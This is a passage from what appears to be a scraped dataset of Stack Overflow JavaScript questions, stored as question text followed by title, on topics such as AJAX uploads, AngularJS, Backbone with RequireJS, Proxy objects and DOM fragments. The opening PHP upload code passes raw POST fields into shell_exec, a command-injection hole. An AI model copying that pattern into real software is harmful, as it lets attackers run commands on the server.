getimagesize ( $ _FILES [ `` fileToUpload '' ] [ `` tmp_name '' ] ) ; if ( $ check ! == false ) { $ uploadOk = 1 ; } else { $ response = `` File is not an image . `` ; $ uploadOk = 0 ; } // Check file size if ( $ uploadOk == 1 & & $ _FILES [ `` fileToUpload '' ] [ `` size '' ] > 500000 ) { $ response = `` Sorry , your file is too large . `` ; $ uploadOk = 0 ; } // Check if $ uploadOk is set to 0 by an error if ( $ uploadOk == 0 ) { // if everything is ok , try to upload file } else { //find target file $ found = false $ tmp = 0 while ( ! $ found ) { $ target_file = $ target_dir . $ tmp . `` .png '' ; if ( file_exists ( $ target_file ) ) { $ tmp = $ tmp + 1 ; } else { $ found = true ; } } if ( move_uploaded_file ( $ _FILES [ `` fileToUpload '' ] [ `` tmp_name '' ] , $ target_file ) ) { $ response = `` Thank you for your submission ! `` ; shell_exec ( `` python log.py `` . $ _POST [ `` firstname '' ] . '' `` . $ _POST [ `` lastname '' ] . '' `` . $ target_file ) ; } else { $ response = `` Sorry , there was an error uploading your file . `` ; } } } echo $ response ; ? >",JQuery AJAX File Upload Error 500 "JS : In an AngularJS directive the templateUrl parameter is defined dinamically.I do n't want to establish rules to check if content_id value is valid and manage it as 404 errors , i.e . if the template does n't exist ( server return a 404 error when loading the template ) load template/404.html instead.How can I do that ? Edited : The current answers suggest to use a response error interceptor . In this case ¿how can I know that the response is to a loading of this template ? 'templates/ ' + content_id + '.html '",How to manage 404 errors loading directive templates in AngularJS "JS : Here 's what I 'm trying to do : If something is true , then output this Javascript code to the page.But I 'm getting the error : CS1056 : Unexpected character ' $ 'How can I tell Razor to stop parsing and output whatever is in the conditional statement ? $ ( document ) .ready ( function ( ) { @ if ( ViewBag.VerifyIfLoggedIn ) { $ ( `` # needlogin-popup '' ) .dialog ( { modal : true , closeOnEscape : true , minHeight : 384 , minWidth : 596 , resizable : false , show : { effect : 'slide ' , duration : 500 , direction : 'up ' } , hide : { effect : 'slide ' , duration : 250 , direction : 'up ' } , title : 'Inicie Sesion ' } ) ; } } ) ;",MVC3 Razor not recognizing when to stop parsing "JS : I have followed the basic tutorials ( results in one file after you run r.js ) The problem is , my main.js file at the end is 500KB . That 's too big . I want to split it into two files.I want to optimize my main.js file into two files : One that holds the front page and user profile pages , since they 're most accessedOne that holds all the other pages ( ordering , account settings , profile settings , etc . ) Most people will hit the front page and user profile pages , and I want those to load quickly first ( while having the other pages load in the background in the 2nd main file ) The problem is , I do n't know how to do this . There are examples like this online , but these examples do not use Backbone . They do n't cover how to deal with router and app.jsI 'm confused ... because I only have one app.js , one router.js ... how can I split router.js into two files ? I do n't know how to split my project up when dealing with Backbone.Below is the codeHTML PAGE ( the entry point for my Single Page Application ) Main.jsApp.jsRouter.jsAs you can see , my entire app starts with main.js , goes to app.js , and finally goes to router.js.How can I split this ? < html > < head > < script type= '' text/javascript '' data-main='/media/js/main ' src='/media/js/lib/requirejs/require-jquery.js ' > < /script > < /head > < body > Hello < /body > < /html > require.config ( { paths : { jquery : 'lib/requirejs/require-jquery ' , jquery_ui : 'lib/jquery-ui/jquery-ui-1.10.3.custom ' , underscore : 'lib/underscore/underscore-min ' , backbone : 'lib/backbone/backbone-min ' , backbone_viewhelper : 'lib/backbone/backbone.viewhelper ' , text : 'lib/requirejs/text ' , birthdaypicker : 'lib/birthdaypicker/bday-picker ' , //more paths } , waitSeconds : 30 , shim : { 'underscore ' : { exports : ' _ ' } , 'backbone ' : { deps : [ 'underscore ' , 'jquery ' ] , exports : 'Backbone ' } , 'backbone_viewhelper ' : { deps : [ 'underscore ' , 'backbone ' ] } } } ) ; require ( [ 'app ' , 'json2 ' , 'jquery_ui ' , 'backbone_viewhelper ' , 'bootstrap_js ' , 'bootstrap_select ' , 'birthdaypicker ' , 'accounting ' , 'numbersonly ' , 'main_alert ' , 'string_tools ' , 'plupload ' , //more things here ] , function ( App ) { App.initialize ( ) ; } ) ; define ( [ 'jquery ' , 'underscore ' , 'backbone ' , 'router ' ] , function ( $ , _ , Backbone , Router ) { var initialize = function ( ) { Router.initialize ( ) ; } return { initialize : initialize } ; } ) ; define ( [ 'jquery ' , 'underscore ' , 'backbone ' , 'modules/index/view ' , 'modules/home/view ' , 'modules/listings_search/view ' , 'modules/profile/view ' , //more modules ] , function ( $ , _ , Backbone , indexView , homeView , searchView , profileView ) { var AppRouter = Backbone.Router.extend ( { initialize : function ( ) { _.bindAll ( this ) ; } , routes : { `` : 'index ' , 'home ' : 'home ' , 'register ' : 'register ' , 'login ' : 'login ' , 'listings ( /start/ : start ) ( /num/ : num ) ' : 'search ' , 'listings/create ' : 'listingsCreate ' , 'listings/ : listing_id/edit ' : 'listingsEdit ' , 'orders/listings/ : listing_id/create ' : 'ordersCreate ' , 'orders/buyer ( /start/ : start ) ( /num/ : num ) ' : 'ordersListBuyer ' , 'orders/seller ( /start/ : start ) ( /num/ : num ) ' : 'ordersListSeller ' , 'orders/ : order_id ' : 'orders ' , 'orders/ : order_id/messages ' : 'messages ' , '*actions ' : 'defaultAction ' //more stuff } , index : function ( ) { app_router_view.show ( indexView ) ; } , search : function ( start , num ) { var options = { filters : { start : start , num : num } } ; app_router_view.show ( searchView , options ) ; } , static : function ( template ) { app_router_view.show ( staticView , { static_view : { template : template } } ) ; } , profile : function ( ) { app_router_view.show ( profileView ) ; } , passResetCode : function ( code ) { app_router_view.show ( passCodeView , { 'code ' : code } ) ; } , //more stuff home : function ( ) { app_router_view.show ( homeView ) ; } , defaultAction : function ( actions ) { this.navigate ( '/ ' , { trigger : true } ) ; } } ) ; var initialize = function ( ) { var app_router = new AppRouter ; Backbone.history.start ( { pushState : true , root : '/ ' } ) ; $ ( document ) .on ( 'click ' , ' a : not ( [ data-bypass ] ) ' , function ( evt ) { var href = $ ( this ) .attr ( 'href ' ) ; if ( href ) { var protocol = this.protocol + '// ' ; if ( href.slice ( protocol.length ) ! == protocol & & href ! = ' # ' ) { evt.preventDefault ( ) ; app_router.navigate ( href , { trigger : true } ) ; } } else { } } ) ; } ; return { initialize : initialize } } ) ;","How do I use Backbone.js with Require.js ( r.js ) , but resulting in 2 files after I optimize it ?" "JS : Sequential Asynchronous calls are gross . Is there a more readable solution ? The problem is this is hard to follow : where the anonymous functions are callbacks that are called on server response.I 'm using a third party API to make the AJAX calls , so I need a generic solution . ajaxOne ( function ( ) { // do something ajaxTwo ( function ( ) { // do something ajaxThree ( ) } ) ; } ) ;",How to avoid nested functions when using AJAX ? "JS : Is there any way to add options ( HTML attributes ) to HAML filters ? I wanted to do something like this : And the result would be : The closest I could get is : The drawback is that you ca n't indent your JS in HAML unless you 're using the : javascript filter . It 's ok for a few lines , but it can get messy quickly.I 'm well aware that in most cases if you end up with a complex script in a HAML template , it means you 're doing something wrong and that 's not the answer I 'm looking for . : javascript { : 'data-turbolinks-eval ' = > 'false ' , : foo = > 'bar ' } if ( someCondition ) { doSomething ( ) ; } < script 'data-turbolinks-eval'='false ' 'foo'='bar ' > if ( someCondition ) { doSomething ( ) ; } < /script > % script { : 'data-turbolinks-eval ' = > 'false ' , : foo = > 'bar ' } if ( someCondition ) { doSomething ( ) ; }",Specify options for a filter in ruby HAML "JS : I am trying to make a Proxy object of Image to trap properties but even with an empty handler I get an error message . TypeError : Argument 1 of Node.appendChild does not implement interface Node.The proxy object is suppose to act as the target object so this baffles me a little . As far as I understand you should be able to do this with DOM nodes as well ( ? ) .Also : I can not start loading the image and have the onload handler triggered when setting the src property.How should I use the Proxy so I can `` take over '' for example the `` src '' property and otherwise have it act like a regular image object ? My codeUpdate : Thanks to @ Harangue ! using `` new '' ( bah.. ) certainly made the proxy object come to life but now I am unable to trap the setting of properties . It seem to ignore the trap completely - example : How can I trap the property setting using a valid proxy ? Update 2 On the other hand - using new with the new proxy only seem to use the original constructor . All examples I can find does not use new : Using then on top of that new myProxy ( ) only seem to use the original constructor which is not what I want as it ignores the traps.The traps seem to work in my first attempts but the proxy does n't behave as expected . This is so confusing , and so new . Happy for any input how both of these can be solved ( traps and behavior ) . 'use strict ' ; // -- - normal image use -- -var imgNormal = new Image ( ) ; imgNormal.onload = function ( ) { console.log ( 'Normal loaded OK ' ) ; document.body.appendChild ( imgNormal ) ; } ; imgNormal.src = 'https : //i.imgur.com/zn7O7QWb.jpg ' ; // -- - proxy image -- -var imgProxy = new Proxy ( Image , { // I also tried with 'new Image ( ) ' and HTMLImageElement set : function ( a , b , c , d ) { console.log ( 'set '+b ) ; return Reflect.set ( a , b , c , d ) ; } } ) ; imgProxy.onload = function ( ) { console.log ( 'Proxy loaded OK ' ) ; document.body.appendChild ( imgProxy ) ; } ; imgProxy.src = 'https : //i.imgur.com/zn7O7QWb.jpg ' ; document.body.appendChild ( imgProxy ) ; // double-up to demo error var proxy = new Proxy ( Image , { set : function ( a , b , c , d ) { console.log ( 'set '+b ) ; // does n't show return Reflect.set ( a , b , c , d ) ; } } ) ; var imgProxy = new proxy ( ) ; imgProxy.onload = function ( ) { console.log ( 'Proxy loaded OK ' ) ; document.body.appendChild ( imgProxy ) ; } ; imgProxy.src = 'https : //i.imgur.com/zn7O7QWb.jpg ' ; var myProxy = new Proxy ( .. , .. ) ; // should suffer var proxy = new Proxy ( Image , { } ) ; //should be sufficent ? ? var proxy2 = new proxy ( ) ; console.log ( proxy2 ) ; //- > says Image ( not proxy.. )",Proxy object can not be added to DOM ( traps does n't trigger either ) "JS : The firebugx.js file ( shown below ) checks both ! window.console and ! console.firebug , which correctly detects if firebug is installed . However , that check does not accommodate the native console object in the IE developer tools -- it overwrites the IE console object.For example , if I include the firebugx.js code , then the following exception will not appear in the IE console ( it will just get swallowed ) : Question : What is the best approach for accommodating the IE developer debugger ? Maybe the obvious answer is to simply comment out the firebugx.js check when debugging in IE . Are there other approaches ? Reference : firebugx.js function foo ( ) { try { throw `` exception ! ! ! `` ; } catch ( e ) { console.error ( e ) ; } } if ( ! window.console || ! console.firebug ) { var names = [ `` log '' , `` debug '' , `` info '' , `` warn '' , `` error '' , `` assert '' , `` dir '' , `` dirxml '' , `` group '' , `` groupEnd '' , `` time '' , `` timeEnd '' , `` count '' , `` trace '' , `` profile '' , `` profileEnd '' ] ; window.console = { } ; for ( var i = 0 ; i < names.length ; ++i ) window.console [ names [ i ] ] = function ( ) { } }",Altering firebugx.js to Accommodate IE Developer Tools "JS : Consider these three versions of appending lis to a ul : Naive Version ( 20 % slower ) : Using a JavaScript Fragment ( 4 % slower ) : Appending to an element not yet in the DOM ( 1.26 % faster ) : Why is appending to a DOM element held in memory faster than appending to a Fragment ? Since fragment was created for this sole purpose should n't it be faster ? Are they 're any advantages to using a fragment over an element held in memory other than not having to include a top level element before appending ? Check the test output from jsperf : http : //jsperf.com/javascript-fragments-tests var ul = document.getElementById ( 'targetUl ' ) ; for ( var i = 0 ; i < 200 ; i++ ) { var li = document.createElement ( 'li ' ) ; li.innerHTML = Math.random ( ) ; ul.appendChild ( li ) ; } var ul = document.getElementById ( 'targetUl ' ) , fragment = document.createDocumentFragment ( ) ; for ( var i = 0 ; i < 200 ; i++ ) { var li = document.createElement ( 'li ' ) ; li.innerHTML = Math.random ( ) ; fragment.appendChild ( li ) ; } ul.appendChild ( fragment ) ; var ul = document.createElement ( 'ul ' ) , div = document.getElementById ( 'targetDiv ' ) ; for ( var i = 0 ; i < 200 ; i++ ) { var li = document.createElement ( 'li ' ) ; li.innerHTML = Math.random ( ) ; ul.appendChild ( li ) ; } div.appendChild ( ul ) ;",Why is appending to an element not yet in the DOM faster than using a javascript Fragment ? "JS : Please have a look at : http : //jsfiddle.net/s6VdW/HTML : JS : Expected result is : Expected Result as HTML is : What is the error ? According to the jQuery Docs ( http : //api.jquery.com/after/ ) it should be possible : .after ( ) will also work on disconnected DOM nodes.and That set can be further manipulated , even before it is inserted in the document.UPDATEIt seems , that I need to append the first span to the DOM first , before using .after ( ) . But what is the alternative ? If I ca n't access the DOM , e.g . because I 'm in a DOM-unaware part of the code ? http : //jsfiddle.net/s6VdW/10/UPDATE 2I can create a `` temporary '' div , to which I append the elements to . Then I return the children of that div . Demo : http : //jsfiddle.net/s6VdW/13/ - Does that look like the way to go ? < div id= '' test '' > < /div > var span1 = $ ( `` < span/ > '' ) .text ( `` Hello '' ) ; var br = $ ( `` < br/ > '' ) ; var span2 = $ ( `` < span/ > '' ) .text ( `` World ! `` ) ; span1.after ( br ) .after ( span2 ) ; $ ( `` # test '' ) .append ( span1 ) ; HelloWorld < div > < span > Hello < /span > < br/ > < span > World < /span > < /div >",jQuery.after ( ) does not work as expected "JS : I know in the code below it will print out undefined if I click on the button , because this.field becomes within the context of the button and not Container . My question is how can I access this.field of Container when this.func is passed into another function , which is a different context scope than Container.I know I can do this , but is there a better way ? Because I 'd rather define the methods outside the constructor so I wo n't clutter it . function Container ( ) { this.field = 'field ' ; $ ( 'button ' ) .click ( this.func ) ; } Container.prototype.func = function ( ) { console.log ( this.field ) ; } function Container ( ) { var thisObj = this ; this.field = 'field ' ; $ ( 'button ' ) .click ( function ( ) { console.log ( thisObj.field ) } ) ; }",How to access instance property in an instance method when the method is being passed into an another function ? "JS : How to document the events emitted by stream returned in MyFunc ( ) with JSDoc ? /** * [ MyFunc description ] * @ param { Object } opts - [ description ] * @ return { Stream } - [ description ] */function MyFunc ( opts ) { // stream is an EventEmitter var stream = new MyEventEmitter ( ) ; stream.emit ( 'event1 ' , ... ) ; stream.emit ( 'event2 ' , ... ) ; return stream ; }",How to document an event emitter returned "JS : One of the strict mode rules ( Annex C ) states : When a delete operator occurs within strict mode code , a SyntaxError is thrown if its UnaryExpression is a direct reference to a variable , function argument , or function name.So in this code : x is a reference . ( I know this because `` the result of evaluating an Identifier is always a value of type Reference '' ) . But is it a direct reference ? And , are there other kinds of references ? Indirect references ? ( If not , what 's the point of using the word `` direct '' at all ? ) delete x",What is a direct reference ? "JS : I want to set checkbox after the page has renderet to the matching state of the backend.I implemented this function for that purpose what does the job so farUpdated to user-suggestion It does n't matter if cbs [ i ] .dataset.thvalue or cbs [ i ] .dataset.valueHTML part , using ThymeleafBut the browser claims by printing out the value , that it is undefined , even if the value is set as you can see in the picture live from the browser.Due to the docu my syntax should be correct ? https : //www.w3schools.com/jsref/prop_option_value.aspAny suggestion ? Ty function updateCheckboxes ( ) { let activeCheckbox = ' < input type= '' checkbox '' onclick= '' handleClickOnReduce ( ) '' checked > ' let inactiveCheckbox = ' < input type= '' checkbox '' onclick= '' handleClickOnReduce ( ) '' > ' let cbs = document.getElementsByTagName ( 'td ' ) for ( let i = 0 ; i < cbs.length ; i++ ) { if ( cbs [ i ] .id === 'reduceCheckbox ' || cbs [ i ] .id === 'slCheckbox ' ) { if ( cbs [ i ] .dataset.thvalue === 'true ' ) { cbs [ i ] .innerHTML = activeCheckbox } else { cbs [ i ] .innerHTML = inactiveCheckbox } } } } < td id= '' reduceCheckbox '' data-th-value= '' $ { car.isReduced ( ) } '' > < /td > < td id= '' slCheckbox '' data-th-value= '' $ { car.isSl ( ) } '' > < /td >",value of HTML element is undefined but it is set JS : I 'm defining various modules in a Javascript file : However the IIFE throws an error : > TypeError : object is not a functionI tried just copy and pasting the IIFE code and there is no issue . var module = { /* ... */ } ( function ( ) { console.log ( 'Invoked ' ) ; } ) ( ),Immediately invoked function expression throws `` object is not a function '' "JS : MDN uses : instead of just this : What do the square brackets mean ? JSON.stringify ( value [ , replacer [ , space ] ] ) JSON.stringify ( value , replacer , space )",What do the square brackets in function syntax mean on MDN ? "JS : I 'm experimenting with web workers , and was wondering how well they would deal with embarassingly parallell problems . I therefore implemented Connaway 's Game of Life . ( To have a bit more fun than doing a blur , or something . The problems would be the same in that case however . ) At the moment I have one web worker performing iterations and posting back new ImageData for the UI thread to place in my canvas . Works nicely.My experiment does n't end there however , cause I have several CPU 's available and would like to parallellize my application . So , to start off simply I split my data in two , down the middle , and make two workers each dealing with a half each . The problem is of course the split . Worker A needs one column of pixels from worker B and vice versa . Now , I can clearly fix this by letting my UI-thread give that column down to the workers , but it would be much better if my threads could pass them to eachother directly . When splitting further , each worker would only have to keep track of it 's neighbouring workers , and the UI thread would only be responsible for updating the UI ( as it should be ) .My problem is , I do n't see how I can achieve this worker-to-worker communication . I tried handing the neighbours to eachother by way of an initialization postMessage , but that would copy my worker rather than hand down a reference , which luckily chrome warned me about being impossible.Finally I see that there 's something called a SharedWorker . Is this what I should look into , or is there a way to use the Worker that would solve my problem ? Uncaught Error : DATA_CLONE_ERR : DOM Exception 25",How to do worker-to-worker communication ? "JS : I have a web page that has multiple divs which works like informing boxes for the user.All I want is when the user puts its mouse arrow inside an informing-box ( hovers its mouse over the div ) to display the glow on this div like the above input text provides when you clicking on it . When the user exits the region of this div , the glow must be disappear.How can I do that ? EDIT : My question seems to be the same with the other article 's , but it 's NOT ! I want the same effect of the text input to be added on the div ( same color , same shadow effect ) . .pbox { border : 1px solid ; width : 150px ; height : 100px ; display : table-cell ; text-align : center ; vertical-align : middle ; } < link href= '' https : //maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css '' rel= '' stylesheet '' / > < script src= '' https : //maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js '' > < /script > < link href= '' https : //ajax.googleapis.com/ajax/libs/jqueryui/1.11.4/themes/smoothness/jquery-ui.css '' rel= '' stylesheet '' / > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js '' > < /script > < script src= '' https : //ajax.googleapis.com/ajax/libs/jqueryui/1.11.4/jquery-ui.min.js '' > < /script > < br > < input type= '' text '' name= '' txt '' class= '' form-control '' style= '' width : 150px ; '' > < br > < div class= '' pbox '' > < b > Notice : < /b > < br > You ca n't delete items without being logged-in. < /div >",How to put bootstrap glow ( used in the 'form-control ' CSS class ) on a div ? "JS : From what I can tell , an import binding is immutableHowever , I 've read elsewhere that JS imports are actually non-writable ( not immutable ) ... in which case would n't the first assignment statement , foo.bar = 23 ; also throw a syntax error ? UPDATE ( how I understand it now ) ... to paraphrase the excellent answer by @ FelixKing ... JS imports are immutable bindings to the exported thing ( variable , function , etc ) . For non-primitive imports , this does not mean the properties on the imported object are necessarily immutable or non-writable . import { foo } from './foo ' ; ... foo.bar = 23 ; // works ... foo = { bar : 23 } ; // syntax error",Are JS imports immutable or non-writable ? "JS : I have a little doubt , I made a login form and I 'd like to hide it when I click outside its space . OK , imagine I have this : Well , I 'd like to hide main-space when I click an element outside this login `` box '' . I tried many ways , but no one worked . And believe me , I searched a lot around , and I did n't find any solution.By the way , I 'm looking for a jQuery solution if it 's possible . < div id= '' main-space '' > < div id= '' form-style '' > < input type= '' text '' / > < br / > < br / > < input type= '' password '' / > < div > < /div >",How to know if a clicked element is inside a main one with jQuery ? "JS : I have a function , that looks like this.Because the array is long and the function is a little resource intensive , it freezes the browser.Now I want to rewrite it using Promises , so it does the same thing , just not freezing the browser , and I want the solution to be elegant and `` ES6-y '' ; ideally , the function would return Promise when all the iterations finished.I found this question , where it 's dealt with using setTimeout , but it seems a little `` un-ES6-y '' , and it does n't return a Promise.I can not dobecause I need to run the promises in succession and I am not sure if it would happen there . function ( ) { longArray.forEach ( element = > doSomethingResourceIntensive ( element ) ) } function ( ) { return Promise.all ( longArray.map ( element = > Promise.resolve ( ) .then ( ( ) = > doSomethingResourceIntensive ( element ) ) ) }",How to rewrite forEach to use Promises to stop `` freezing '' browsers ? "JS : I mean getters that are generators . All this is ES6+ I believe . Like this maybe.That does n't work through , I am placing the asterisk wrong ( that is if this is possible at all ) unexpected identifier * class a { get *count ( ) { let i = 10 ; while ( -- i ) yield i ; } } let b = new a ; for ( const i of b.count ) console.log ( i ) ;",Can there be generator getters in classes ? "JS : I am parsing a schematic file with the following structureThe .schematic file format was created by the community to store sections of a Minecraft world for use with third-party programs . Schematics are in NBT formatThe Named Binary Tag ( NBT ) file format is an extremely simple structured binary format used by the Minecraft game for a variety of thingsBlock Data Values define parts of the terrain in Minecraft.I retrieving the block data of every Minecraft Block , and need to figure out how to decode these bytes . This is an example for the Stairs Minecraft BlockFor example the stairs block data includes : I can use nbt-js to parse the entire schematic file , which enables me to access the block data like this : I decode the Stairs Block Data bits data with the following codeThese configuration values are essential to determine how the stair block should be rendered . For example , I use the facing value to rotate the block : However , the bits are interpreted differently for every block type , and this is n't defined anywhere that I can find . var b = schem.value.Data.value [ index ] ; var facing = b & 0x03 ; var half = ( b > > 2 ) & 0x01 ; var shape = ( b > > 3 ) & 0x03 ; block.rotateX ( facing ) ;",How to decode Data ( ie block state ) bytes in Minecraft schematic ( nbt ) file ? "JS : It started out when I read Guido van Rossum 's essay An Optimization Anecdote.Deciding to try the same thing in JavaScript , I timed the following : This was pretty fast already , but why not eliminate the anonymous function completely and pass String.fromCharCode directly to map ( ) : I timed it and ... ... this was ~100 times slower than the previous version . How come ? Somehow passing this native function directly to Array.map ( ) is way slower than wrapping it inside another function and passing that to Array.map ( ) .It 's not browser specific : tested in Chrome , Firefox and Opera.It 's not specific to map ( ) : tried forEach ( ) , which behaved similarly.It 's not specific to built-in functions : tried Math.round ( ) and Math.sin ( ) - with these the results were as one would expect : passing the function to Array.map ( ) directly was a little bit faster than using intermediate anonymous function.It seems the problem is with String.fromCharCode specifically.What 's going on here ? PS . Originally posed this question in Hacker News thread , but since the related article is about Python , I thought it would get more exposure to JavaScript devs when posted here . Sorry for cross-posting . numbers.map ( function ( x ) { return String.fromCharCode ( x ) ; } ) ; numbers.map ( String.fromCharCode ) ;",Why is array.map ( String.fromCharCode ) so slow ? "JS : I have an React App , following is JavaScript code And the HTML file is as following.The question I do n't understand is that if I remove import React from 'react ' , it will show error message like below . Uncaught ReferenceError : React is not definedBut I do n't use React in my code explicitly anywhere , why would it show a message like this . Can anyone tell me what 's going on under the hood ? UPDATE : Not exactly the same question with this one , since what I have in my code is just an individual component , not involving any parent component . import React from 'react ' ; import ReactDOM from 'react-dom ' ; const App = function ( ) { return < div > Hi < /div > } ReactDOM.render ( < App / > , document.querySelector ( '.container ' ) ) ; < ! DOCTYPE html > < html > < head > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 '' > < link rel= '' stylesheet '' href= '' /style/style.css '' > < link rel= '' stylesheet '' href= '' https : //cdn.rawgit.com/twbs/bootstrap/48938155eb24b4ccdde09426066869504c6dab3c/dist/css/bootstrap.min.css '' > < script src= '' https : //maps.googleapis.com/maps/api/js ? key=AIzaSyAq06l5RUVfib62IYRQacLc-KAy0XIWAVs '' > < /script > < /head > < body > < div class= '' container '' > < /div > < /body > < script src= '' /bundle.js '' > < /script > < /html >",Why do I need import React statement even if I do n't use React explicitly ? "JS : I 'm looking for a way to figure out how to get the thread id for a particular email on Gmail , just before it is sent OR at the point where the send button is clicked . Currently , I 'm working with Javascript in order to scrape other items off the email and store them in a record which works pretty well for everything except the thread id.The thread ID can be found after I send the email within the URL : In this case , the thread id ( if I 'm right - is 13ddda647539dcca.Any help would be appreciated . https : //mail.google.com/mail/u/0/ ? shva=1 # inbox/13ddda647539dcca",Getting the thread id in Gmail "JS : I am running into an issue with datatables and shiny , specifically within a flexdashboard but I think that is irrelevant . I want to scroll to a given row in the datatable when I click on the corresponding point in a plot . But , the minimal problem I have is to 'simply ' scroll to any row . I can select a row using JavaScript with the option initComplete but scrollTo ( ) will not do anything for me.Looking at a previous question , Scroll to specific row in Datatable API , I got to this example , https : //codepen.io/anon/pen/KWmpjj . It showcases the javascript function you could use with initComplete , but this was not made with R/Shiny . Specifically you 'll find the following option for a small datatable : Since my goal is to use this in a flexdashboard I have a minimal example in R markdown format . A pretty standard call to DT : :renderDataTable with random data . I do n't understand why this.api ( ) .table ( ) .row ( 15 ) .scrollTo ( ) ; will not do anything . I added an alert to confirm that the JavaScript of initComplete actually ran.What I have noticed is that if you scroll the table in the previously linked example the text at the bottom will actually update and say `` Showing 1 to 6 of 20 entries '' or `` Showing 6 to 11 of 20 entries '' , etc . This does not happen in my example datatable , that always says Showing 1 to 200 of 200 entries . That leads me to think that it does not scroll to the specified row because everything is already 'in view ' , even though it is not really . initComplete : function ( ) { this.api ( ) .row ( 14 ) .scrollTo ( ) ; $ ( this.api ( ) .row ( 14 ) .node ( ) ) .addClass ( 'selected ' ) ; } -- -title : `` Scroll to row in datatable '' date : `` 20 december 2017 '' output : html_documentruntime : shiny -- - `` ` { r setup , include=FALSE } knitr : :opts_chunk $ set ( echo = TRUE ) `` ` # # Datatable automatically scroll to given rowThe goal is to have a datatable rendered in a flexdashboard . Upon selecting a point in a scatter plot , the corresponding row in the table gets selected and needs to be scrolled into view . Selecting a row by clicking a point in a plot ( with ggplot ) works , but scrolling will not.Preferably without using shinyApp ( ) , since scrolling is a JavaScript functionality rather than a shiny one ( ? ) . `` ` { r } library ( dplyr ) library ( DT ) # Generate random datadf < - data.frame ( matrix ( runif ( 1000 ) , ncol = 5 ) ) # Render datatable with shinyDT : :renderDataTable ( { DT : :datatable ( df , extensions = 'Scroller ' , # selection = 'single ' , # Eventually only allow single selection escape = FALSE , # callback = JS ( 'this.api ( ) .row ( 15 ) .scrollTo ( ) ; ' ) , # Attempt to use callback instead options = list ( scrollX = TRUE , scrollY = 200 , paging = FALSE , initComplete = JS ( 'function ( ) { $ ( this.api ( ) .table ( ) .row ( 15 ) .node ( ) ) .addClass ( `` selected '' ) ; this.api ( ) .table ( ) .row ( 15 ) .scrollTo ( ) ; alert ( `` scrolled '' ) ; } ' ) ) ) } , server = TRUE ) # Setting server = TRUE results in the selection with initComplete breaking `` `",R Shiny - Scrolling to a given row of datatable with javascript callback "JS : Is it good practice to create a JavaScript array inside another array ? Example : I would create an array , `` array1 '' , which would contain objects of `` array2 '' and `` array3 '' .Example Code : The reason I ask this question , is that with a multidimensional array , it seems hard to get the length of all dimensions , however , with this `` inner-array , '' you could get the dimensions quite easily : var array1 = [ ] ; var array2 = [ ] array1.push ( array2 ) ; array1 [ 0 ] .length",JavaScript Inner-Array "JS : After previously looking at this post , JQuery search in static HTML page with highlighting of found word , I have finally found what I was looking for . However , the search seems to break other HTML tags . I know it was n't intended for my exact requirements but I 'm looking for some help.Here is a sample of HTML : After typing in the search box , it removes all < li > tags and all < a > tags . I 'm not hugely confident with Javascript or Jquery so I ca n't figure this out for myself . It needs to retain the list and hyperlinks but only search in the visible text ( i.e . not search in the href field ) .All input is greatly appreciated . $ ( ' # searchfor ' ) .keyup ( function ( ) { var page = $ ( ' # all_text ' ) ; var pageText = page.text ( ) .replace ( `` < span > '' , '' '' ) .replace ( `` < /span > '' ) ; var searchedText = $ ( ' # searchfor ' ) .val ( ) ; var theRegEx = new RegExp ( `` ( `` +searchedText+ '' ) '' , `` igm '' ) ; var newHtml = pageText.replace ( theRegEx , '' < span > $ 1 < /span > '' ) ; page.html ( newHtml ) ; } ) ; # all_text span { text-decoration : underline ; background-color : yellow ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1.4.0/jquery.min.js '' > < /script > < input type= '' text '' id= '' searchfor '' / > < ul id= '' all_text '' > < li > < a href= '' /somewhere '' > Somewhere < /a > < /li > < li > < a href= '' /somewhere-else '' > Over there < /a > < /li > < /ul >",JQuery search in static page of links with highlighting of found word without breaking list "JS : There is React+TypeScript application , and all component classes should be upper-cased and have Component suffix , e.g : The application is ejected create-react-application application , i.e . is build with Webpack.How can component naming be forced to be consistent with style guide , at least for component classes , with error being thrown on build when there are inconsistencies ? I believe this can not be achieved with TSLint/ESLint alone . If different methods should be used for TypeScript and JavaScript , solutions for both languages would be helpful . export class FooBarComponent extends React.Component { ... }",Force React component naming with TypeScript "JS : In the great book i 'm reading now NodeJs design patterns I see the following example : then : and usage of it : The author says that if the item is in cache the behaviour is synchronous and asynchronous if its not in cache . I 'm ok with that . he then continues to say that we should be either sync or async . I 'm ok with that . What I do n't understand is that if I take the asynchronous path then when this line var reader1 = createFileReader ( 'data.txt ' ) ; is executed ca n't the asynchronous file read finish already and thus the listener wo n't be registered in the following line which tries to register it ? var fs = require ( 'fs ' ) ; var cache = { } ; function inconsistentRead ( filename , callback ) { if ( cache [ filename ] ) { //invoked synchronously callback ( cache [ filename ] ) ; } else { //asynchronous function fs.readFile ( filename , 'utf8 ' , function ( err , data ) { cache [ filename ] = data ; callback ( data ) ; } ) ; } } function createFileReader ( filename ) { var listeners = [ ] ; inconsistentRead ( filename , function ( value ) { listeners.forEach ( function ( listener ) { listener ( value ) ; } ) ; } ) ; return { onDataReady : function ( listener ) { listeners.push ( listener ) ; } } ; } var reader1 = createFileReader ( 'data.txt ' ) ; reader1.onDataReady ( function ( data ) { console.log ( 'First call data : ' + data ) ;",In Node.js design patterns unleashing zalgo why is the asynchronous path consistent ? "JS : i am using jquery datetime pickermy problem is when i select the time and use tab button it will change to minus 1 hours means if i select 9.30 am and click on tab button it will be 8.30 am and it will countinuely do minus when ever i use tab on that controllhere you can see that i have select 9.30 AM but when focus out on this control it will automatically do 8.30 AMhere is a code < meta name= '' viewport '' content= '' initial-scale=1.0 , user-scalable=no '' > < meta charset= '' utf-8 '' > < title > Places Searchbox < /title > < link href= '' ~/Content/jquery.datetimepicker.css '' rel= '' stylesheet '' / > < script src= '' ~/scripts/jquery.min.js '' > < /script > < script src= '' ~/scripts/moment.js '' > < /script > < script src= '' ~/scripts/bootstrap.min.js '' > < /script > < script src= '' ~/scripts/bootstrap-datetimepicker.min.js '' > < /script > < script src= '' ~/scripts/jquery.datetimepicker.full.min.js '' > < /script > < script src= '' ~/scripts/VagaroDateTimePicker.js '' > < /script > < link href= '' ~/Content/bootstrap-datetimepicker.min.css '' rel= '' stylesheet '' / > < link href= '' ~/Content/bootstrap.min.css '' rel= '' stylesheet '' / > < link rel= '' stylesheet '' href= '' https : 